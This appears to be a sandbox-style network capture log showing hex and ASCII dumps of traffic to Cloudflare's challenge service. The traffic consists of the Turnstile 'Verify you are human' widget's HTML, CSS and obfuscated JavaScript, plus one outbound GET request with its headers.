2025-03-14 15:04:48 UTC	1030	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 22 20 63 6f 6e 74 65 6e 74 3d 22 64 65 66 61 75 6c 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 65 26 23 78 32 37 3b 3b 20 73 63 72 69 70 74 2d 73 72 63 20 26 23 78 32 37 3b 6e 6f 6e 63 65 2d 76 33 79 53 59 39 37 38 44 58 62 67 66 43 6b 58 26 23 78 32 37 3b 20 26 23 78 32 37 3b 75 6e 73 61 66 65 2d Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="x-ua-compatible" content="IE=Edge,chrome=1"> <meta http-equiv="content-security-policy" content="default-src 'none'; script-src 'nonce-v3ySY978DXbgfCkX' 'unsafe-
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 33 30 70 78 20 30 20 30 20 23 64 65 31 33 30 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 32 33 32 33 32 33 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 69 6c 6c 66 61 69 6c 2d 6f 66 66 6c 61 62 65 6c 2d 64 61 72 6b 7b 74 6f 7b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 33 30 70 78 20 23 66 66 66 7d 7d 40 6b 65 79 66 72 61 6d 65 73 20 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 7b 30 25 7b 74 72 61 6e 73 66 6f 72 6d 3a 73 63 61 6c 65 28 2e 30 31 29 7d 74 6f 7b 74 72 61 6e 73 66 6f Data Ascii: ames fillfail{to{box-shadow:inset 0 30px 0 0 #de1303}}@keyframes fillfail-offlabel{to{box-shadow:inset 0 0 0 30px #232323}}@keyframes fillfail-offlabel-dark{to{box-shadow:inset 0 0 0 30px #fff}}@keyframes scale-up-center{0%{transform:scale(.01)}to{transfo
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 2d 61 6c 69 67 6e 3a 72 69 67 68 74 7d 23 6f 76 65 72 72 75 6e 2d 69 2c 23 73 70 69 6e 6e 65 72 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 70 69 6e 20 35 73 20 6c 69 6e 65 61 72 20 69 6e 66 69 6e 69 74 65 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 68 65 69 67 68 74 3a 33 30 70 78 3b 77 69 64 74 68 3a 33 30 70 78 7d 23 66 61 69 6c 2d 69 7b 61 6e 69 6d 61 74 69 6f 6e 3a 73 63 61 6c 65 2d 75 70 2d 63 65 6e 74 65 72 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 35 35 2c 2e 30 38 35 2c 2e 36 38 2c 2e 35 33 29 20 62 6f 74 68 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 64 65 31 33 30 33 7d 23 66 61 69 6c 2d 69 2c 23 73 75 63 63 65 73 73 2d 69 7b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 64 69 73 70 6c 61 79 3a Data Ascii: -align:right}#overrun-i,#spinner-i{animation:spin 5s linear infinite;display:flex;height:30px;width:30px}#fail-i{animation:scale-up-center .6s cubic-bezier(.55,.085,.68,.53) both;box-shadow:inset 0 0 0 #de1303}#fail-i,#success-i{border-radius:50%;display:
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 73 68 61 64 6f 77 3a 69 6e 73 65 74 20 30 20 30 20 30 20 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 3a 23 30 61 61 39 33 37 3b 66 69 6c 6c 3a 23 30 61 61 39 33 37 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 78 70 69 72 65 64 2d 63 69 72 63 6c 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 74 69 6d 65 6f 75 74 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 39 39 39 3b 66 69 6c 6c 3a 23 39 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 65 78 Data Ascii: shadow:inset 0 0 0 #0aa937}.theme-dark .success-circle{stroke:#0aa937;fill:#0aa937}.theme-dark .expired-circle,.theme-dark .timeout-circle{stroke-dasharray:166;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#999;fill:#999}.theme-dark #ex
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 31 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 68 31 7b 63 6f 6c 6f 72 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 7b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 61 63 74 69 76 65 Data Ascii: 1}.theme-dark h1{color:#fff}.theme-dark #challenge-error-title{color:#ffa299}.theme-dark #challenge-error-title a,.theme-dark #challenge-error-title a:link,.theme-dark #challenge-error-title a:visited{color:#bbb}.theme-dark #challenge-error-title a:active
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 72 65 73 68 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 39 34 39 34 39 34 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6f 76 65 72 6c 61 79 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 3b 63 6f 6c 6f 72 3a 23 66 66 61 32 39 39 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 3a 6c 69 6e Data Ascii: resh-link:active,.theme-dark #timeout-refresh-link:focus,.theme-dark #timeout-refresh-link:hover{color:#949494}.theme-dark .overlay{border-color:#ffa299;color:#ffa299}.theme-dark .error-message,.theme-dark .error-message a,.theme-dark .error-message a:lin
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 35 70 78 3b 6f 70 61 63 69 74 79 3a 31 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 30 64 65 67 29 20 73 63 61 6c 65 28 31 29 7d 2e 63 62 2d 6c 62 20 69 6e 70 75 74 3a 63 68 65 63 6b 65 64 7e 2e 63 62 2d 69 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 3a 73 6f 6c 69 64 20 23 63 34 34 64 30 65 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 30 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 30 20 34 70 78 20 34 70 78 20 30 3b 68 65 69 67 68 74 3a 31 32 70 78 3b 6c 65 66 74 3a 35 70 78 3b 74 6f 70 3a 30 3b 74 72 61 6e 73 66 6f 72 6d 3a 72 6f 74 61 74 65 28 34 35 64 65 67 29 20 73 63 61 6c 65 28 31 29 3b 77 69 Data Ascii: t:checked~.cb-i{background-color:#fff;border-radius:5px;opacity:1;transform:rotate(0deg) scale(1)}.cb-lb input:checked~.cb-i:after{border:solid #c44d0e;border-radius:0;border-width:0 4px 4px 0;height:12px;left:5px;top:0;transform:rotate(45deg) scale(1);wi
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 20 73 70 61 63 65 2d 65 76 65 6e 6c 79 3b 76 69 73 69 62 69 6c 69 74 79 3a 76 69 73 69 62 6c 65 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6f 76 65 72 72 75 6e 2d 74 65 78 74 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 74 65 78 74 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 65 78 70 69 72 65 64 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 74 69 6d 65 6f 75 74 2d 72 65 66 72 65 73 68 2d 6c 69 6e 6b 2c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 65 72 72 6f 72 2d 6d 65 73 73 61 67 65 20 61 7b 6d 61 72 67 69 6e 3a Data Ascii: content:center space-evenly;visibility:visible}.size-compact #expired-text,.size-compact #overrun-text,.size-compact #timeout-text{display:block}.size-compact #expired-refresh-link,.size-compact #timeout-refresh-link,.size-compact .error-message a{margin:
2025-03-14 15:04:48 UTC	1369	IN	Data Raw: 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 36 70 78 7d 23 74 65 72 6d 73 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 66 6c 65 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 38 70 78 3b 66 6f 6e 74 2d 73 74 79 6c 65 3a 6e 6f 72 6d 61 6c 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 66 6c 65 78 2d 65 6e 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 30 70 78 7d 23 74 65 72 6d 73 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 3a 30 20 2e 32 72 65 6d 7d 23 74 65 72 6d 73 20 61 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 23 74 65 72 6d 73 20 61 2c 23 74 65 72 6d 73 20 61 3a 6c 69 6e 6b 2c 23 74 65 72 6d 73 20 61 3a 76 69 73 69 74 65 64 7b 63 Data Ascii: r{margin-left:0;margin-right:16px}#terms{color:#232323;display:inline-flex;font-size:8px;font-style:normal;justify-content:flex-end;line-height:10px}#terms .link-spacer{margin:0 .2rem}#terms a{display:inline-block}#terms a,#terms a:link,#terms a:visited{c

Timestamp	Bytes transferred	Direction	Data
2025-03-14 15:04:49 UTC	772	OUT	GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=9204aa6769be577b&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/9d05c/0x4AAAAAAA_17RW0oiaBV-_V/auto/fbE/new/normal/auto/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-14 15:04:49 UTC	331	IN	HTTP/1.1 200 OK Date: Fri, 14 Mar 2025 15:04:49 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 118364 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 9204aa6bbeee0f79-EWR alt-svc: h3=":443"; ma=86400
2025-03-14 15:04:49 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 6e 69 45 44 61 35 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 6c 6f 75 64 66 6c 61 72 65 2d 63 68 61 6c 6c 65 6e 67 65 73 25 32 46 25 32 33 62 72 6f 77 73 65 72 2d 73 75 70 70 6f 72 74 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 Data Ascii: window._cf_chl_opt.niEDa5={"metadata":{"challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fcloudflare-challenges%2F%23browser-support","challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebs
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 63 65 73 73 22 3a 22 53 75 63 63 65 73 73 25 32 31 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 72 65 66 72 65 73 68 22 3a 22 52 65 66 72 65 73 68 22 2c 22 74 65 73 74 69 6e 67 5f 6f 6e 6c 79 22 3a 22 54 65 73 74 69 6e 67 25 32 30 6f 6e 6c 79 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 69 6e 76 61 6c 69 64 5f 64 6f 6d 61 69 6e 22 3a 22 49 6e 76 61 6c 69 64 25 32 30 64 6f 6d 61 69 6e 2e 25 32 30 43 6f 6e 74 61 63 74 25 32 30 74 68 65 25 32 30 53 69 74 65 25 32 Data Ascii: cess":"Success%21","turnstile_refresh":"Refresh","testing_only":"Testing%20only.","turnstile_failure":"Error","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","invalid_domain":"Invalid%20domain.%20Contact%20the%20Site%2
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 5f 62 75 74 74 6f 6e 5f 74 65 78 74 22 3a 22 56 65 72 69 66 79 25 32 30 79 6f 75 25 32 30 61 72 65 25 32 30 68 75 6d 61 6e 22 7d 2c 22 70 6f 6c 79 66 69 6c 6c 73 22 3a 7b 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 61 75 78 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 66 61 6c 73 65 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 67 75 69 64 65 6c 69 6e 65 22 3a 66 61 6c 73 65 7d 2c 22 72 74 6c 22 3a 66 61 6c 73 65 2c 22 6c 61 6e 67 22 3a 22 65 6e 2d 75 73 22 7d 3b 7e 66 75 6e 63 74 69 6f 6e 28 67 4a 2c 65 4d 2c 65 4e 2c 65 4f 2c 65 50 2c 65 56 2c 65 57 2c 66 6d 2c 66 6e 2c 66 72 2c 66 73 2c 66 76 2c 66 79 2c 66 41 2c 66 42 2c 66 43 2c Data Ascii: _button_text":"Verify%20you%20are%20human"},"polyfills":{"feedback_report_aux_subtitle":false,"feedback_report_output_subtitle":false,"feedback_report_guideline":false},"rtl":false,"lang":"en-us"};~function(gJ,eM,eN,eO,eP,eV,eW,fm,fn,fr,fs,fv,fy,fA,fB,fC,
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 69 7d 2c 27 4d 69 6e 56 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 49 59 63 70 75 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 54 66 56 7a 4a 27 3a 67 4b 28 37 36 35 29 2c 27 72 45 57 44 63 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 65 77 77 4b 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 28 69 29 7d 2c 27 5a 55 6d 79 68 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 7c 68 7d 2c 27 4b 52 4a 54 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 26 68 7d 2c 27 68 64 6b 47 70 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 Data Ascii: i},'MinVM':function(h,i){return i\|h},'IYcpu':function(h,i){return h<<i},'TfVzJ':gK(765),'rEWDc':function(h,i){return h<i},'ewwKj':function(h,i){return h(i)},'ZUmyh':function(h,i){return i\|h},'KRJTj':function(h,i){return i&h},'hdkGp':function(h,i){return h
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 36 2c 43 5b 67 4d 28 31 31 32 33 29 5d 28 30 29 29 29 7b 66 6f 72 28 73 3d 30 3b 64 5b 67 4d 28 31 31 39 33 29 5d 28 73 2c 46 29 3b 48 3c 3c 3d 31 2c 49 3d 3d 64 5b 67 4d 28 31 35 36 35 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 37 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4d 28 31 31 32 33 29 5d 28 30 29 2c 73 3d 30 3b 64 5b 67 4d 28 38 38 31 29 5d 28 38 2c 73 29 3b 48 3d 64 5b 67 4d 28 31 33 36 32 29 5d 28 64 5b 67 4d 28 31 30 32 39 29 5d 28 48 2c 31 29 2c 4d 26 31 29 2c 49 3d 3d 6a 2d 31 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 37 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 69 66 28 67 4d 28 34 34 36 29 3d 3d 3d 64 5b 67 4d Data Ascii: 6,C[gM(1123)](0))){for(s=0;d[gM(1193)](s,F);H<<=1,I==d[gM(1565)](j,1)?(I=0,G[gM(876)](o(H)),H=0):I++,s++);for(M=C[gM(1123)](0),s=0;d[gM(881)](8,s);H=d[gM(1362)](d[gM(1029)](H,1),M&1),I==j-1?(I=0,G[gM(876)](o(H)),H=0):I++,M>>=1,s++);}else if(gM(446)===d[gM
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 2c 49 3d 3d 64 5b 67 4d 28 31 35 36 35 29 5d 28 6a 2c 31 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 37 36 29 5d 28 64 5b 67 4d 28 37 35 31 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 7d 65 6c 73 65 20 69 66 28 67 4d 28 31 36 34 39 29 21 3d 3d 67 4d 28 35 33 31 29 29 7b 66 6f 72 28 4d 3d 31 2c 73 3d 30 3b 64 5b 67 4d 28 37 34 33 29 5d 28 73 2c 46 29 3b 48 3d 64 5b 67 4d 28 31 33 36 32 29 5d 28 48 3c 3c 31 2e 34 35 2c 4d 29 2c 64 5b 67 4d 28 33 33 37 29 5d 28 49 2c 64 5b 67 4d 28 33 34 37 29 5d 28 6a 2c 31 29 29 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 37 36 29 5d 28 64 5b 67 4d 28 37 35 31 29 5d 28 6f 2c 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3d 30 2c 73 2b 2b 29 3b 66 6f 72 28 4d 3d 43 5b 67 4d 28 31 31 32 33 29 5d 28 Data Ascii: ,I==d[gM(1565)](j,1)?(I=0,G[gM(876)](d[gM(751)](o,H)),H=0):I++,M>>=1,s++);}else if(gM(1649)!==gM(531)){for(M=1,s=0;d[gM(743)](s,F);H=d[gM(1362)](H<<1.45,M),d[gM(337)](I,d[gM(347)](j,1))?(I=0,G[gM(876)](d[gM(751)](o,H)),H=0):I++,M=0,s++);for(M=C[gM(1123)](
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 5b 67 4d 28 31 30 32 39 29 5d 28 48 2c 31 29 7c 64 5b 67 4d 28 35 32 32 29 5d 28 4d 2c 31 29 2c 6a 2d 31 3d 3d 49 3f 28 49 3d 30 2c 47 5b 67 4d 28 38 37 36 29 5d 28 6f 28 48 29 29 2c 48 3d 30 29 3a 49 2b 2b 2c 4d 3e 3e 3d 31 2c 73 2b 2b 29 3b 66 6f 72 28 3b 3b 29 69 66 28 48 3c 3c 3d 31 2c 49 3d 3d 6a 2d 31 29 7b 47 5b 67 4d 28 38 37 36 29 5d 28 6f 28 48 29 29 3b 62 72 65 61 6b 7d 65 6c 73 65 20 49 2b 2b 3b 72 65 74 75 72 6e 20 47 5b 67 4d 28 32 35 30 29 5d 28 27 27 29 7d 2c 27 6a 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 67 4e 2c 69 29 7b 69 66 28 67 4e 3d 67 4b 2c 69 3d 7b 27 4c 69 70 69 45 27 3a 66 75 6e 63 74 69 6f 6e 28 6a 29 7b 72 65 74 75 72 6e 20 6a 28 29 7d 7d 2c 67 4e 28 36 35 38 29 3d 3d 3d 67 4e 28 36 35 38 29 29 72 65 74 75 72 6e 20 6e 75 6c 6c Data Ascii: [gM(1029)](H,1)\|d[gM(522)](M,1),j-1==I?(I=0,G[gM(876)](o(H)),H=0):I++,M>>=1,s++);for(;;)if(H<<=1,I==j-1){G[gM(876)](o(H));break}else I++;return G[gM(250)]('')},'j':function(h,gN,i){if(gN=gK,i={'LipiE':function(j){return j()}},gN(658)===gN(658))return null
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 72 65 61 6b 3b 63 61 73 65 20 32 3a 72 65 74 75 72 6e 27 27 7d 66 6f 72 28 46 3d 78 5b 33 5d 3d 4e 2c 45 5b 67 50 28 38 37 36 29 5d 28 4e 29 3b 3b 29 7b 69 66 28 64 5b 67 50 28 38 38 31 29 5d 28 4a 2c 69 29 29 72 65 74 75 72 6e 27 27 3b 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 67 50 28 31 32 37 39 29 5d 28 32 2c 44 29 2c 47 3d 31 3b 4c 21 3d 47 3b 4d 3d 49 26 48 2c 49 3e 3e 3d 31 2c 49 3d 3d 30 26 26 28 49 3d 6a 2c 48 3d 6f 28 4a 2b 2b 29 29 2c 4b 7c 3d 28 64 5b 67 50 28 37 38 33 29 5d 28 30 2c 4d 29 3f 31 3a 30 29 2a 47 2c 47 3c 3c 3d 31 29 3b 73 77 69 74 63 68 28 4e 3d 4b 29 7b 63 61 73 65 20 30 3a 66 6f 72 28 4b 3d 30 2c 4c 3d 4d 61 74 68 5b 67 50 28 31 32 37 39 29 5d 28 32 2c 38 29 2c 47 3d 31 3b 47 21 3d 4c 3b 4d 3d 49 26 48 2c 49 3e 3e 3d 31 2c Data Ascii: reak;case 2:return''}for(F=x[3]=N,E[gP(876)](N);;){if(d[gP(881)](J,i))return'';for(K=0,L=Math[gP(1279)](2,D),G=1;L!=G;M=I&H,I>>=1,I==0&&(I=j,H=o(J++)),K\|=(d[gP(783)](0,M)?1:0)*G,G<<=1);switch(N=K){case 0:for(K=0,L=Math[gP(1279)](2,8),G=1;G!=L;M=I&H,I>>=1,
2025-03-14 15:04:49 UTC	1369	IN	Data Raw: 5b 68 32 28 38 36 30 29 5d 28 65 52 2c 63 29 29 7d 7d 2c 65 54 3d 5b 5d 2c 65 55 3d 30 3b 32 35 36 3e 65 55 3b 65 54 5b 65 55 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 38 30 33 29 5d 28 65 55 29 2c 65 55 2b 2b 29 3b 65 56 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 35 35 38 29 29 2c 65 57 3d 61 74 6f 62 28 67 4a 28 36 34 38 29 29 2c 66 6d 3d 7b 7d 2c 66 6d 5b 67 4a 28 31 35 38 38 29 5d 3d 27 6f 27 2c 66 6d 5b 67 4a 28 37 39 39 29 5d 3d 27 73 27 2c 66 6d 5b 67 4a 28 38 32 32 29 5d 3d 27 75 27 2c 66 6d 5b 67 4a 28 37 39 38 29 5d 3d 27 7a 27 2c 66 6d 5b 67 4a 28 35 35 31 29 5d 3d 27 6e 27 2c 66 6d 5b 67 4a 28 31 32 31 35 29 5d 3d 27 49 27 2c 66 6d 5b 67 4a 28 36 34 39 29 5d 3d 27 62 27 2c 66 6e 3d 66 6d 2c 65 4d 5b 67 4a 28 31 33 32 36 29 5d 3d 66 75 6e 63 74 69 6f 6e Data Ascii: [h2(860)](eR,c))}},eT=[],eU=0;256>eU;eT[eU]=String[gJ(803)](eU),eU++);eV=(0,eval)(gJ(558)),eW=atob(gJ(648)),fm={},fm[gJ(1588)]='o',fm[gJ(799)]='s',fm[gJ(822)]='u',fm[gJ(798)]='z',fm[gJ(551)]='n',fm[gJ(1215)]='I',fm[gJ(649)]='b',fn=fm,eM[gJ(1326)]=function
